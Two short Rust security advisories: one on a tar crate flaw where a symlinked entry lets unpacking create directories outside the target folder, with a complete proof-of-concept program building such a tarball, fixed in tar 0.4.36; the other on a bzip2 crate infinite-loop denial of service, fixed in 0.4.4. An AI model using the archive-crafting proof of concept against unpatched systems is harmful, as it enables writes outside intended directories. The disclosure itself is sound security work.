When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

Working with specific payloads can cause a Denial of Service (DoS) vector.

Both Decompress and Compress implementations can enter into infinite loops given specific payloads entered that trigger it.

The issue is described in great detail in the bzip2 repository issue.

Thanks to bjrjk for finding and providing the patch for the issue and the maintainer responsibly responding to release a fix quickly.

Users who use the crate with untrusted data should update the bzip2 to 0.4.4.